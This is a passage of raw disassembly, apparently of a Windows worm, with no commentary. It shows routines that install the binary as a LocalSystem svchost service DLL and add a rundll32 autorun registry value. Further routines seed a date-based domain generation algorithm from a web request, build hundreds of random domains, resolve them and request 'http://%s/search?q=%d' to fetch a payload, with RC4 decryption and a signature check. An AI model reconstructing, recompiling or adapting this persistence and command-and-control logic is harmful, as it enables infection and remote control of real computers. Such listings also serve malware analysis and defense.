lpData push 1 ; dwType push edi ; Reserved push offset ValueName ; "DisplayName" push [ebp+hKey] ; hKey call esi ; RegSetValueExW push 4 ; cbData lea eax, [ebp+Data] push eax ; lpData push 4 ; dwType push edi ; Reserved push offset aType ; "Type" push [ebp+hKey] ; hKey mov dword ptr [ebp+Data], 20h call esi ; RegSetValueExW push 4 ; cbData lea eax, [ebp+Data] push eax ; lpData push 4 ; dwType push edi ; Reserved push offset aStart ; "Start" push [ebp+hKey] ; hKey mov dword ptr [ebp+Data], 2 call esi ; RegSetValueExW push 4 ; cbData lea eax, [ebp+Data] push eax ; lpData push 4 ; dwType push edi ; Reserved push offset aErrorcontrol ; "ErrorControl" push [ebp+hKey] ; hKey mov dword ptr [ebp+Data], edi call esi ; RegSetValueExW push [ebp+hMem] ; Str call ebx ; wcslen pop ecx lea eax, [eax+eax+2] push eax ; cbData push [ebp+hMem] ; lpData push 2 ; dwType push edi ; Reserved push offset aImagepath ; "ImagePath" push [ebp+hKey] ; hKey call esi ; RegSetValueExW push 18h ; cbData push offset Data ; "LocalSystem" push 1 ; dwType push edi ; Reserved push offset aObjectname ; "ObjectName" push [ebp+hKey] ; hKey call esi ; RegSetValueExW push [ebp+arg_10] ; Str call ebx ; wcslen pop ecx lea eax, [eax+eax+2] push eax ; cbData push [ebp+arg_10] ; lpData push 1 ; dwType push edi ; Reserved push offset aDescription ; "Description" push [ebp+hKey] ; hKey call esi ; RegSetValueExW push edi ; lpdwDisposition lea eax, [ebp+phkResult] push eax ; phkResult push edi ; lpSecurityAttributes push 20006h ; samDesired push edi ; dwOptions push edi ; lpClass push edi ; Reserved push offset SubKey ; "Parameters" push [ebp+hKey] ; hKey call RegCreateKeyExW test eax, eax jnz short loc_9AD6EA push [ebp+arg_0] ; Str call ebx ; wcslen pop ecx lea eax, [eax+eax+2] push eax ; cbData push [ebp+arg_0] ; lpData push 2 ; dwType push edi ; Reserved push offset aServicedll ; "ServiceDll" push [ebp+phkResult] ; hKey call esi ; RegSetValueExW push [ebp+phkResult] ; hKey call RegCloseKey push [ebp+lpValueName] ; lpValueName push [ebp+Src] ; Src call sub_9AD3ED pop ecx pop ecx mov [ebp+var_14], eax loc_9AD6EA: ; CODE XREF: sub_9AD50E+1A6j push [ebp+hKey] ; hKey call RegFlushKey push [ebp+hKey] ; hKey call sub_9AD363 pop ecx push [ebp+hKey] ; hKey call RegCloseKey loc_9AD705: ; CODE XREF: sub_9AD50E+CDj push [ebp+hMem] ; hMem mov esi, GlobalFree call esi ; GlobalFree push [ebp+var_18] ; hMem call esi ; GlobalFree mov eax, [ebp+var_14] loc_9AD718: ; CODE XREF: sub_9AD50E+94j pop edi pop esi pop ebx leave retn sub_9AD50E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=74h ; int __cdecl sub_9AD71D(char *lpMultiByteStr) sub_9AD71D proc near ; CODE XREF: sub_9A752A+10Ap Data = byte ptr -220h var_11D = byte ptr -11Dh Src = word ptr -11Ch Dest = word ptr -9Ch ValueName = byte ptr -1Ch var_10 = dword ptr -10h hMem = dword ptr -0Ch var_8 = dword ptr -8 phkResult = dword ptr -4 lpMultiByteStr = dword ptr 8 push ebp lea ebp, [esp-74h] sub esp, 220h push ebx push edi push [ebp+74h+lpMultiByteStr] ; Str xor ebx, ebx mov [ebp+74h+var_8], ebx call strlen mov edi, eax pop ecx lea eax, [edi+edi+2] push eax ; dwBytes push 40h ; uFlags mov [ebp+74h+var_10], edi call GlobalAlloc cmp eax, ebx mov [ebp+74h+hMem], eax jnz short loc_9AD758 xor eax, eax jmp loc_9AD90D ; --------------------------------------------------------------------------- loc_9AD758: ; CODE XREF: sub_9AD71D+32j push esi call sub_9AD062 mov esi, rand mov [ebp+74h+phkResult], eax call esi ; rand push 5 pop ecx cdq idiv ecx lea eax, [ebp+74h+Src] add edx, ecx push edx push eax call sub_9AB677 pop ecx pop ecx call esi ; rand push 10h cdq pop ecx idiv ecx test edx, edx jz short loc_9AD7DF call esi ; rand push 15h xor edx, edx pop ecx div ecx mov edi, edx loc_9AD797: ; CODE XREF: sub_9AD71D+87j call esi ; rand push 15h xor edx, edx pop ecx div ecx mov ebx, edx cmp edi, ebx jz short loc_9AD797 push ds:off_9B9AC8[edi*4] ; Source lea eax, [ebp+74h+Dest] push eax ; Dest call wcscpy mov edi, wcscat lea eax, [ebp+74h+Dest] push offset asc_9A48AC ; " " push eax ; Dest call edi ; wcscat push ds:off_9B9AC8[ebx*4] ; Source lea eax, [ebp+74h+Dest] push eax ; Dest call edi ; wcscat mov edi, [ebp+74h+var_10] add esp, 18h xor ebx, ebx jmp short loc_9AD7F5 ; --------------------------------------------------------------------------- loc_9AD7DF: ; CODE XREF: sub_9AD71D+6Dj call esi ; rand push 5 pop ecx cdq idiv ecx lea eax, [ebp+74h+Dest] add edx, ecx push edx push eax call sub_9AB677 pop ecx pop ecx loc_9AD7F5: ; CODE XREF: sub_9AD71D+C0j inc edi push edi ; cchWideChar push [ebp+74h+hMem] ; lpWideCharStr push 0FFFFFFFFh ; cbMultiByte push [ebp+74h+lpMultiByteStr] ; lpMultiByteStr push ebx ; dwFlags push ebx ; CodePage call MultiByteToWideChar test eax, eax jz short loc_9AD82C push [ebp+74h+phkResult] ; int lea eax, [ebp+74h+Dest] push offset aNetsvcs ; "netsvcs" push eax ; lpData lea eax, [ebp+74h+Src] push eax ; Src push [ebp+74h+hMem] ; int call sub_9AD50E add esp, 14h mov [ebp+74h+var_8], eax loc_9AD82C: ; CODE XREF: sub_9AD71D+ECj push [ebp+74h+phkResult] ; Memory call free pop ecx push [ebp+74h+hMem] ; hMem call GlobalFree cmp [ebp+74h+var_8], ebx jnz loc_9AD904 mov eax, ds:dword_9B9F34 xor eax, 0B30AA17Bh push eax ; Seed call srand call esi ; rand push 5 pop ecx cdq idiv ecx lea eax, [ebp+74h+ValueName] add edx, ecx push edx push eax call sub_9AB647 call sub_9AB510 push offset aMarnwkcw ; "marnwkcw" push [ebp+74h+lpMultiByteStr] lea eax, [ebp+74h+Data] push offset aRundll32_exe_0 ; "rundll32.exe \"%s\",%s" push 104h ; Count push eax ; Dest call _snprintf xor edi, edi add esp, 20h mov [ebp+74h+var_11D], 0 mov esi, 80000002h inc edi loc_9AD8A3: ; CODE XREF: sub_9AD71D+1E5j cmp esi, 80000001h jl short loc_9AD904 push ebx ; lpdwDisposition lea eax, [ebp+74h+phkResult] push eax ; phkResult push ebx ; lpSecurityAttributes push 20006h ; samDesired push ebx ; dwOptions push ebx ; lpClass push ebx ; Reserved push offset byte_9A1554 ; lpSubKey push esi ; hKey call RegCreateKeyExA test eax, eax jnz short loc_9AD8FE lea eax, [ebp+74h+Data] push eax ; Str call strlen pop ecx inc eax push eax ; cbData lea eax, [ebp+74h+Data] push eax ; lpData push edi ; dwType push ebx ; Reserved lea eax, [ebp+74h+ValueName] push eax ; lpValueName push [ebp+74h+phkResult] ; hKey call RegSetValueExA test eax, eax jnz short loc_9AD8F5 mov [ebp+74h+var_8], edi loc_9AD8F5: ; CODE XREF: sub_9AD71D+1D3j push [ebp+74h+phkResult] ; hKey call RegCloseKey loc_9AD8FE: ; CODE XREF: sub_9AD71D+1AAj dec esi cmp [ebp+74h+var_8], ebx jz short loc_9AD8A3 loc_9AD904: ; CODE XREF: sub_9AD71D+125j ; sub_9AD71D+18Cj call sub_9AD00D mov eax, [ebp+74h+var_8] pop esi loc_9AD90D: ; CODE XREF: sub_9AD71D+36j pop edi pop ebx add ebp, 74h leave retn sub_9AD71D endp ; =============== S U B R O U T I N E ======================================= sub_9AD914 proc near ; CODE XREF: sub_9AD95A+25p push ebx xor ebx, ebx test esi, esi jz short loc_9AD956 cmp eax, 200h jbe short loc_9AD956 push edi lea edi, [eax-200h] push edi ; int push esi ; int lea eax, [esi+eax-200h] push eax ; int push ds:dword_9B9B20 ; int push offset dword_9B9B28 ; Src call sub_9AE331 add esp, 14h test al, al jz short loc_9AD955 push edi ; nNumberOfBytesToWrite push esi ; lpBuffer call sub_9AC396 pop ecx pop ecx mov ebx, eax loc_9AD955: ; CODE XREF: sub_9AD914+34j pop edi loc_9AD956: ; CODE XREF: sub_9AD914+5j ; sub_9AD914+Cj mov eax, ebx pop ebx retn sub_9AD914 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_9AD95A(LPCSTR lpszUrl) sub_9AD95A proc near ; CODE XREF: sub_9ADCF2+2Ep var_4 = dword ptr -4 lpszUrl = dword ptr 8 push ebp mov ebp, esp push ecx push esi push edi xor edi, edi push edi ; int lea eax, [ebp+var_4] push eax ; int push [ebp+lpszUrl] ; lpszUrl call sub_9ABAC6 mov esi, eax add esp, 0Ch cmp esi, edi jz short loc_9AD98D mov eax, [ebp+var_4] cmp eax, edi jz short loc_9AD986 call sub_9AD914 mov edi, eax loc_9AD986: ; CODE XREF: sub_9AD95A+23j push esi ; hMem call GlobalFree loc_9AD98D: ; CODE XREF: sub_9AD95A+1Cj mov eax, edi pop edi pop esi leave retn sub_9AD95A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_9AD993(LPCSTR lpszUrl, int, int) sub_9AD993 proc near ; CODE XREF: sub_9ADA6E+1Ep szAgent = byte ptr -414h var_413 = byte ptr -413h var_14 = dword ptr -14h hInternet = dword ptr -10h var_C = dword ptr -0Ch cbSize = dword ptr -8 var_1 = byte ptr -1 lpszUrl = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 414h push ebx push edi xor eax, eax xor ebx, ebx mov [ebp+szAgent], bl mov ecx, 0FFh lea edi, [ebp+var_413] rep stosd stosw stosb lea eax, [ebp+cbSize] push eax ; cbSize lea eax, [ebp+szAgent] push eax ; pszUAOut push ebx ; dwOption mov [ebp+var_1], bl mov [ebp+cbSize], 400h call ObtainUserAgentString push ebx ; dwFlags push ebx ; lpszProxyBypass push ebx ; lpszProxy push ebx ; dwAccessType lea eax, [ebp+szAgent] push eax ; lpszAgent call InternetOpenA cmp eax, ebx mov [ebp+hInternet], eax jz short loc_9ADA67 push ebx ; dwContext push 84080300h ; dwFlags push ebx ; dwHeadersLength push ebx ; lpszHeaders push [ebp+lpszUrl] ; lpszUrl push eax ; hInternet call InternetOpenUrlA mov edi, eax cmp edi, ebx jz short loc_9ADA5E push esi mov esi, HttpQueryInfoA lea eax, [ebp+var_C] push eax lea eax, [ebp+cbSize] push eax lea eax, [ebp+var_14] push eax push 20000013h push edi mov [ebp+var_C], ebx mov [ebp+cbSize], 4 call esi ; HttpQueryInfoA test eax, eax jz short loc_9ADA56 cmp [ebp+var_14], 0C8h jnz short loc_9ADA56 mov eax, [ebp+arg_8] mov [ebp+cbSize], eax lea eax, [ebp+var_C] push eax lea eax, [ebp+cbSize] push eax push [ebp+arg_4] mov [ebp+var_C], ebx push 9 push edi call esi ; HttpQueryInfoA test eax, eax jz short loc_9ADA56 mov [ebp+var_1], 1 loc_9ADA56: ; CODE XREF: sub_9AD993+97j ; sub_9AD993+A0j ... push edi ; hInternet call InternetCloseHandle pop esi loc_9ADA5E: ; CODE XREF: sub_9AD993+6Ej push [ebp+hInternet] ; hInternet call InternetCloseHandle loc_9ADA67: ; CODE XREF: sub_9AD993+56j mov al, [ebp+var_1] pop edi pop ebx leave retn sub_9AD993 endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_9ADA6E(LPCSTR lpszUrl, int, int, int) sub_9ADA6E proc near ; CODE XREF: sub_9ADB52+4Dp var_408 = dword ptr -408h var_404 = dword ptr -404h Str = byte ptr -400h lpszUrl = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h sub esp, 408h push ebp push 400h ; int lea eax, [esp+410h+Str] push eax ; int push [esp+414h+lpszUrl] ; lpszUrl xor ebp, ebp mov [esp+418h+var_404], ebp call sub_9AD993 add esp, 0Ch test al, al jz loc_9ADB46 push esi mov esi, strtok push edi mov edi, offset Delim ; ", " lea eax, [esp+414h+Str] push edi ; Delim push eax ; Str call esi ; strtok test eax, eax pop ecx pop ecx jz loc_9ADB44 push edi ; Delim push ebp ; Str call esi ; strtok cmp eax, ebp pop ecx pop ecx jz short loc_9ADB44 push ebx mov ebx, atoi push eax ; Str call ebx ; atoi mov ecx, [esp+41Ch+arg_4] push edi ; Delim push ebp ; Str mov [ecx], ax call esi ; strtok mov ebp, eax add esp, 0Ch test ebp, ebp jz short loc_9ADB43 and [esp+418h+var_408], 0 loc_9ADAEB: ; CODE XREF: sub_9ADA6E+A1j mov eax, [esp+418h+var_408] push 3 ; MaxCount push ebp ; Str push ds:off_9B9D40[eax*4] ; Str1 call _strnicmp add esp, 0Ch test eax, eax jz short loc_9ADB13 inc [esp+418h+var_408] cmp [esp+418h+var_408], 0Ch jb short loc_9ADAEB jmp short loc_9ADB22 ; --------------------------------------------------------------------------- loc_9ADB13: ; CODE XREF: sub_9ADA6E+96j mov eax, [esp+418h+var_408] mov ecx, [esp+418h+arg_8] inc eax mov [ecx], ax loc_9ADB22: ; CODE XREF: sub_9ADA6E+A3j push edi ; Delim push 0 ; Str call esi ; strtok test eax, eax pop ecx pop ecx jz short loc_9ADB43 push eax ; Str call ebx ; atoi pop ecx mov ecx, [esp+418h+arg_C] mov [ecx], ax mov [esp+418h+var_404], 1 loc_9ADB43: ; CODE XREF: sub_9ADA6E+76j ; sub_9ADA6E+BDj pop ebx loc_9ADB44: ; CODE XREF: sub_9ADA6E+47j ; sub_9ADA6E+55j pop edi pop esi loc_9ADB46: ; CODE XREF: sub_9ADA6E+28j mov eax, [esp+40Ch+var_404] pop ebp add esp, 408h retn sub_9ADA6E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_9ADB52 proc near ; CODE XREF: sub_9ADD9B+4Ep szUrl = byte ptr -38h var_19 = byte ptr -19h Dst = word ptr -18h var_16 = dword ptr -16h var_12 = dword ptr -12h var_E = word ptr -0Eh var_C = word ptr -0Ch var_A = word ptr -0Ah FileTime = _FILETIME ptr -8 push ebp mov ebp, esp sub esp, 38h push ebx push 10h ; Size xor ebx, ebx lea eax, [ebp+Dst] push ebx ; Val push eax ; Dst call memset call rand push 6 pop ecx xor edx, edx div ecx lea eax, [ebp+szUrl] push ds:off_9B9D28[edx*4] push offset aHttpWww_S ; "http://www.%s" push 20h ; Count push eax ; Dest call _snprintf lea eax, [ebp+Dst] push eax ; int lea eax, [ebp+var_16] push eax ; int lea eax, [ebp+var_12] push eax ; int lea eax, [ebp+szUrl] push eax ; lpszUrl mov [ebp+var_19], bl call sub_9ADA6E add esp, 2Ch test eax, eax jz short loc_9ADBBD cmp word ptr [ebp+var_12], bx jz short loc_9ADBBD cmp word ptr [ebp+var_16], bx jz short loc_9ADBBD cmp [ebp+Dst], bx jnz short loc_9ADBDB loc_9ADBBD: ; CODE XREF: sub_9ADB52+57j ; sub_9ADB52+5Dj ... lea eax, [ebp+Dst] push eax ; lpSystemTime call GetSystemTime mov word ptr [ebp+var_16+2], bx mov word ptr [ebp+var_12+2], bx mov [ebp+var_A], bx mov [ebp+var_E], bx mov [ebp+var_C], bx loc_9ADBDB: ; CODE XREF: sub_9ADB52+69j lea eax, [ebp+FileTime] push eax ; lpFileTime lea eax, [ebp+Dst] push eax ; lpSystemTime call SystemTimeToFileTime push 3 push 52C94565h push [ebp+FileTime.dwHighDateTime] push [ebp+FileTime.dwLowDateTime] call __allmul push 580h push 28E44000h push edx push eax call __aulldiv add eax, 0A3596526h adc edx, ebx mov dword ptr ds:dbl_9B9D90, eax mov dword ptr ds:dbl_9B9D90+4, edx pop ebx leave retn sub_9ADB52 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_9ADC21 proc near ; CODE XREF: sub_9ADD9B+78p ; sub_9ADD9B+97p ... var_30 = qword ptr -30h var_20 = qword ptr -20h var_18 = qword ptr -18h var_10 = qword ptr -10h var_8 = qword ptr -8 push ebp mov ebp, esp sub esp, 20h mov ecx, dword ptr ds:dbl_9B9D90+4 mov eax, dword ptr ds:dbl_9B9D90 and dword ptr [ebp+var_8], 0 push esi mov edx, ecx push edi mov dword ptr [ebp+var_8+4], edx mov edi, 7FFFFFFFh and edx, edi mov dword ptr [ebp+var_10], eax mov dword ptr [ebp+var_10+4], edx fild [ebp+var_10] mov esi, 80000000h and dword ptr [ebp+var_8+4], esi fild [ebp+var_8] and dword ptr [ebp+var_8], 0 mov dword ptr [ebp+var_8+4], ecx and dword ptr [ebp+var_8+4], esi fchs and ecx, edi faddp st(1), st mov dword ptr [ebp+var_18], eax mov dword ptr [ebp+var_18+4], ecx push ecx fstp [ebp+var_10] push ecx fild [ebp+var_18] fild [ebp+var_8] fchs faddp st(1), st fstp [esp+30h+var_30] call sin add esp, 8 fstp [ebp+var_20] push 0 push 53125624h push dword ptr ds:dbl_9B9D90+4 push dword ptr ds:dbl_9B9D90 call __allmul and dword ptr [ebp+var_8], 0 mov dword ptr [ebp+var_8+4], edx and dword ptr [ebp+var_8+4], esi and edx, edi mov dword ptr [ebp+var_18], eax mov dword ptr [ebp+var_18+4], edx fild [ebp+var_18] push ecx fild [ebp+var_8] push ecx fchs faddp st(1), st fadd [ebp+var_20] fmul [ebp+var_10] fadd ds:dbl_9A4950 fmul [ebp+var_10] fstp [ebp+var_20] fld [ebp+var_10] fstp [esp+30h+var_30] call log fadd [ebp+var_20] pop ecx pop ecx pop edi fstp ds:dbl_9B9D90 mov eax, dword ptr ds:dbl_9B9D90 pop esi leave retn sub_9ADC21 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; DWORD __stdcall sub_9ADCF2(LPVOID) sub_9ADCF2 proc near ; DATA XREF: sub_9ADD49+32o szUrl = byte ptr -80h var_1 = byte ptr -1 Memory = dword ptr 8 push ebp mov ebp, esp sub esp, 80h push ds:dword_9B9F38 lea eax, [ebp+szUrl] push [ebp+Memory] push offset aHttpSSearch?qD ; "http://%s/search?q=%d" push 80h ; Count push eax ; Dest call _snprintf lea eax, [ebp+szUrl] push eax ; lpszUrl mov [ebp+var_1], 0 call sub_9AD95A add esp, 18h test eax, eax jz short loc_9ADD39 push 1 ; Value push offset dword_9BA288 ; Target call InterlockedExchange loc_9ADD39: ; CODE XREF: sub_9ADCF2+38j push [ebp+Memory] ; Memory call free pop ecx xor eax, eax leave retn 4 sub_9ADCF2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; DWORD __stdcall sub_9ADD49(LPVOID) sub_9ADD49 proc near ; DATA XREF: sub_9ADD9B+161o ThreadId = dword ptr 8 push ebp mov ebp, esp push esi mov esi, [ebp+ThreadId] push esi ; name call gethostbyname test eax, eax jz short loc_9ADD91 mov eax, [eax+0Ch] mov eax, [eax] push dword ptr [eax] ; in call inet_ntoa test eax, eax jz short loc_9ADD91 lea ecx, [ebp+ThreadId] push ecx ; lpThreadId push 0 ; dwCreationFlags push eax ; Src call _strdup pop ecx push eax ; lpParameter push offset sub_9ADCF2 ; lpStartAddress push 0 ; dwStackSize push 0 ; lpThreadAttributes call CreateThread push eax ; hObject call CloseHandle loc_9ADD91: ; CODE XREF: sub_9ADD49+10j ; sub_9ADD49+21j mov byte ptr [esi], 0 xor eax, eax pop esi pop ebp retn 4 sub_9ADD49 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_9ADD9B proc near ; CODE XREF: StartAddress+1FAp lpParameter = dword ptr -488h var_A0 = dword ptr -0A0h Handles = dword ptr -78h var_50 = dword ptr -50h ThreadId = dword ptr -4Ch var_48 = dword ptr -48h SystemTime = _SYSTEMTIME ptr -44h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h push 478h push offset stru_9A4970 call __SEH_prolog push 0Ah pop eax cmp eax, ds:dword_9B9E20 sbb esi, esi and esi, 9 inc esi mov [ebp+var_2C], esi xor edi, edi mov [ebp+ms_exc.disabled], edi lea eax, [ebp+SystemTime] push eax ; lpSystemTime call GetSystemTime cmp [ebp+SystemTime.wYear], 7D9h ja short loc_9ADDE4 jnz loc_9ADFB3 cmp [ebp+SystemTime.wMonth], 1 jb loc_9ADFB3 loc_9ADDE4: ; CODE XREF: sub_9ADD9B+36j call sub_9AB510 call sub_9ADB52 mov ds:dword_9BA288, edi loc_9ADDF4: ; CODE XREF: sub_9ADD9B+DCj mov [ebp+var_1C], edi mov ebx, 0FAh cmp edi, ebx jnb short loc_9ADE7C push 20h ; dwBytes push 40h ; uFlags call GlobalAlloc mov ebx, eax mov [ebp+edi*4+lpParameter], ebx call sub_9ADC21 cdq push 4 pop ecx idiv ecx mov esi, edx add esi, 8 mov [ebp+var_34], esi mov [ebp+var_48], ebx and [ebp+var_28], 0 loc_9ADE2D: ; CODE XREF: sub_9ADD9B+B5j cmp [ebp+var_28], esi jnb short loc_9ADE52 call sub_9ADC21 push eax ; X call labs pop ecx cdq push 1Ah pop ecx idiv ecx add edx, 61h mov eax, [ebp+var_28] mov [eax+ebx], dl inc [ebp+var_28] jmp short loc_9ADE2D ; --------------------------------------------------------------------------- loc_9ADE52: ; CODE XREF: sub_9ADD9B+95j mov byte ptr [ebx+esi], 0 call sub_9ADC21 and eax, 7 push ds:off_9B9D70[eax*4] ; Source push [ebp+edi*4+lpParameter] ; Dest call strcat pop ecx pop ecx inc edi mov esi, [ebp+var_2C] jmp loc_9ADDF4 ; --------------------------------------------------------------------------- loc_9ADE7C: ; CODE XREF: sub_9ADD9B+63j mov [ebp+var_30], 1 loc_9ADE83: ; CODE XREF: sub_9ADD9B+1E5j ; sub_9ADD9B+1EFj xor edi, edi cmp [ebp+var_30], edi jz loc_9ADF8F cmp ds:dword_9BA288, edi jnz loc_9ADF8F loc_9ADE9A: ; CODE XREF: sub_9ADD9B+17Dj mov [ebp+var_1C], edi cmp edi, esi jnb short loc_9ADF1F loc_9ADEA1: ; CODE XREF: sub_9ADD9B+139j ; sub_9ADD9B+151j call rand cdq mov ecx, ebx idiv ecx mov esi, edx mov [ebp+var_50], esi xor eax, eax mov [ebp+var_24], eax mov [ebp+var_20], eax loc_9ADEB9: ; CODE XREF: sub_9ADD9B+182j cmp [ebp+var_20], edi jnb short loc_9ADED1 mov ecx, [ebp+var_20] cmp [ebp+ecx*4+var_A0], esi jnz short loc_9ADF1A mov [ebp+var_24], 1 loc_9ADED1: ; CODE XREF: sub_9ADD9B+121j cmp [ebp+var_24], eax jnz short loc_9ADEA1 mov ecx, [ebp+esi*4+lpParameter] cmp byte ptr [ecx], 0 jnz short loc_9ADEE9 mov [ebp+var_24], 1 loc_9ADEE9: ; CODE XREF: sub_9ADD9B+145j cmp [ebp+var_24], eax jnz short loc_9ADEA1 lea eax, [ebp+ThreadId] push eax ; lpThreadId xor eax, eax push eax ; dwCreationFlags push [ebp+esi*4+lpParameter] ; lpParameter push offset sub_9ADD49 ; lpStartAddress push eax ; dwStackSize push eax ; lpThreadAttributes call CreateThread mov [ebp+edi*4+Handles], eax mov [ebp+edi*4+var_A0], esi inc edi mov esi, [ebp+var_2C] jmp short loc_9ADE9A ; --------------------------------------------------------------------------- loc_9ADF1A: ; CODE XREF: sub_9ADD9B+12Dj inc [ebp+var_20] jmp short loc_9ADEB9 ; --------------------------------------------------------------------------- loc_9ADF1F: ; CODE XREF: sub_9ADD9B+104j push 7530h ; dwMilliseconds push 1 ; bWaitAll lea eax, [ebp+Handles] push eax ; lpHandles push esi ; nCount call WaitForMultipleObjects and [ebp+var_1C], 0 loc_9ADF35: ; CODE XREF: sub_9ADD9B+1BEj cmp [ebp+var_1C], esi jnb short loc_9ADF5B mov esi, [ebp+var_1C] lea esi, [ebp+esi*4+Handles] push 0 ; dwExitCode push dword ptr [esi] ; hThread call TerminateThread push dword ptr [esi] ; hObject call CloseHandle inc [ebp+var_1C] mov esi, [ebp+var_2C] jmp short loc_9ADF35 ; --------------------------------------------------------------------------- loc_9ADF5B: ; CODE XREF: sub_9ADD9B+19Dj push 1388h ; dwMilliseconds call Sleep xor eax, eax loc_9ADF68: ; CODE XREF: sub_9ADD9B+1E1j mov [ebp+var_1C], eax cmp eax, ebx jnb short loc_9ADF86 mov ecx, [ebp+eax*4+lpParameter] cmp byte ptr [ecx], 0 jnz short loc_9ADF7E inc eax jmp short loc_9ADF68 ; --------------------------------------------------------------------------- loc_9ADF7E: ; CODE XREF: sub_9ADD9B+1DEj cmp eax, ebx jb loc_9ADE83 loc_9ADF86: ; CODE XREF: sub_9ADD9B+1D2j and [ebp+var_30], 0 jmp loc_9ADE83 ; --------------------------------------------------------------------------- loc_9ADF8F: ; CODE XREF: sub_9ADD9B+EDj ; sub_9ADD9B+F9j mov [ebp+var_1C], edi loc_9ADF92: ; CODE XREF: sub_9ADD9B+20Fj cmp [ebp+var_1C], ebx jnb short loc_9ADFB3 mov eax, [ebp+var_1C] push [ebp+eax*4+lpParameter] ; hMem call GlobalFree inc [ebp+var_1C] jmp short loc_9ADF92 ; --------------------------------------------------------------------------- loc_9ADFAC: ; DATA XREF: .text:stru_9A4970o xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_9ADFB0: ; DATA XREF: .text:stru_9A4970o mov esp, [ebp+ms_exc.old_esp] loc_9ADFB3: ; CODE XREF: sub_9ADD9B+38j ; sub_9ADD9B+43j ... or [ebp+ms_exc.disabled], 0FFFFFFFFh call __SEH_epilog retn sub_9ADD9B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_9ADFBD proc near ; CODE XREF: sub_9AE06F+16p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, [ebp+arg_0] xor edx, edx mov [eax], edx mov [eax+4], edx xor ecx, ecx loc_9ADFCC: ; CODE XREF: sub_9ADFBD+1Aj mov [eax+ecx*4+8], ecx inc ecx cmp ecx, 100h jl short loc_9ADFCC push ebx push esi push edi xor esi, esi mov [ebp+arg_0], edx loc_9ADFE1: ; CODE XREF: sub_9ADFBD+56j mov ecx, [ebp+arg_0] mov ebx, [ebp+arg_4] mov bl, [esi+ebx] add bl, dl lea edi, [eax+ecx*4+8] mov ecx, [edi] add bl, cl movzx edx, bl mov ebx, [eax+edx*4+8] inc esi cmp esi, [ebp+arg_8] mov [edi], ebx mov [eax+edx*4+8], ecx jl short loc_9AE009 xor esi, esi loc_9AE009: ; CODE XREF: sub_9ADFBD+48j inc [ebp+arg_0] cmp [ebp+arg_0], 100h jl short loc_9ADFE1 pop edi pop esi pop ebx pop ebp retn sub_9ADFBD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_9AE01A proc near ; CODE XREF: sub_9AE06F+28p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, [ebp+arg_0] mov ecx, [eax+4] push ebx mov ebx, [eax] push edi xor edi, edi cmp [ebp+arg_8], edi jle short loc_9AE066 push esi loc_9AE02F: ; CODE XREF: sub_9AE01A+49j inc bl movzx ebx, bl mov edx, [eax+ebx*4+8] add cl, dl movzx ecx, cl lea esi, [eax+ecx*4+8] mov [ebp+arg_0], ecx mov ecx, [esi] mov [eax+ebx*4+8], ecx add cl, dl mov [esi], edx mov esi, [ebp+arg_4] movzx ecx, cl mov cl, [eax+ecx*4+8] add esi, edi xor [esi], cl mov ecx, [ebp+arg_0] inc edi cmp edi, [ebp+arg_8] jl short loc_9AE02F pop esi loc_9AE066: ; CODE XREF: sub_9AE01A+12j pop edi mov [eax], ebx mov [eax+4], ecx pop ebx pop ebp retn sub_9AE01A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_9AE06F proc near ; CODE XREF: sub_9AE331+98p ; sub_9AEFDD+4Cp ... var_408 = byte ptr -408h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 408h push [ebp+arg_C] lea eax, [ebp+var_408] push [ebp+arg_8] push eax call sub_9ADFBD push [ebp+arg_4] lea eax, [ebp+var_408] push [ebp+arg_0] push eax call sub_9AE01A add esp, 18h leave retn sub_9AE06F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_9AE0A1 proc near ; CODE XREF: sub_9AE0FB+3Ep ; sub_9AE0FB+94p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi push edi mov esi, [ebp+arg_0] mov edi, [ebp+arg_4] mov ecx, 80h loc_9AE0B2: ; CODE XREF: sub_9AE0A1+1Ej mov eax, [esi+ecx*4] mov ebx, [edi+ecx*4] cmp eax, ebx jb short loc_9AE0C5 ja short loc_9AE0CC dec ecx jns short loc_9AE0B2 xor eax, eax jmp short loc_9AE0D1 ; --------------------------------------------------------------------------- loc_9AE0C5: ; CODE XREF: sub_9AE0A1+19j mov eax, 0FFFFFFFFh jmp short loc_9AE0D1 ; --------------------------------------------------------------------------- loc_9AE0CC: ; CODE XREF: sub_9AE0A1+1Bj mov eax, 1 loc_9AE0D1: ; CODE XREF: sub_9AE0A1+22j ; sub_9AE0A1+29j pop edi pop esi pop ebx pop ebp retn sub_9AE0A1 endp ; =============== S U B R O U T I N E ======================================= sub_9AE0D6 proc near ; CODE XREF: sub_9AE0FB+13p ; sub_9AE1BE+38p arg_0 = dword ptr 4 mov eax, 101Fh push esi loc_9AE0DC: ; CODE XREF: sub_9AE0D6+1Fj mov esi, [esp+4+arg_0] mov edx, eax shr edx, 5 mov edx, [esi+edx*4] 